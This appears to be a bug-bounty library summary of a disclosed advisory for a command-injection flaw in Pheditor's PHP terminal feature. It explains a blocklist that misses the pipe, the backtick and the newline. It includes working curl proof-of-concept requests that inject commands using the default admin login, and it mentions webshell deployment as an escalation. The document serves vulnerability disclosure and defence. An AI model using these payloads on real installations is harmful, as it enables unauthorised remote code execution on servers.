# Pheditor: Incomplete command sanitization in terminal feature allows RCE via pipe operator, backtick substitution, and newline injection

Pheditor's terminal blocklist missed single pipe, backtick and newline, letting authenticated users bypass the command allowlist and run arbitrary OS commands via shell_exec.

- Payout: Research
- Severity: high
- Program: Pheditor
- Found by: sondt99, dungNHVhust
- Disclosed: 2026-07-16
- CVE: CVE-2026-55578
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-wg4w-wr5q-6vjc
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-wg4w-wr5q-6vjc
- Tags: area:web domain:web impact:integrity impact:rce kind:research platform:ghsa sev:high tech:php technique:incomplete-fix technique:source-review vuln:auth-bypass vuln:command-injection vuln:rce

**Target:** PHP web app terminal feature (pheditor.php shell_exec handler)
**Root cause:** Blocklist at pheditor.php:557 checks only &, ;, ||, $ and the TERMINAL_COMMANDS check only validates the command prefix, leaving |, backtick and 0x0A unblocked before shell_exec().
**Steps:**
1. Deploy pheditor.php, authenticate with default `admin` and grab the CSRF token.
2. POST `action=terminal` with `command=ls | id` — single pipe passes blocklist and whitelist prefix.
3. Alternatively `command=echo `id`` (backtick substitution) or `command=ls\nid` (newline 0x0A, only first line whitelisted).
4. Response contains `id` output proving arbitrary command execution as web server user.
**How found:** Reviewed the partial fix for GHSA-9643-6xjp-vx57 which added `$` to the blocklist, noticed the blocklist enumerates specific metacharacters rather than parsing, and tested remaining shell metacharacters |, backtick and newline against the prefix allowlist.
**Exploitation:** Authenticated user with terminal permission (default-enabled) submits a whitelisted-prefixed command containing |, backtick or newline; shell_exec runs the injected command and output is returned in the JSON response.
**Escalation:** Default admin password makes it effectively unauthenticated; RCE as web user enables file read/write and webshell deployment.
**Insight:** When a fix adds one metacharacter to a denylist, enumerate the full shell metacharacter set (|, backtick, newline, redirects, subshells) against the same sink — prefix allowlists don't constrain what follows the first token.

## Proof of concept (copied exactly from the original report)

**curl PoC for pipe bypass**

```
curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=ls | id" \
  --data-urlencode "dir="
Expected: `{"error":false,"message":"OK","result":"uid=... gid=...\n",...}` — `id` output proves RCE.
```

**curl PoC for backtick bypass**

```
curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode 'command=echo `id`' \
  --data-urlencode "dir="
Expected: Same `id` output in response.
```

**curl PoC for newline injection bypass**

```
curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode $'command=ls\nid' \
  --data-urlencode "dir="
Expected: Same `id` output in response.
```

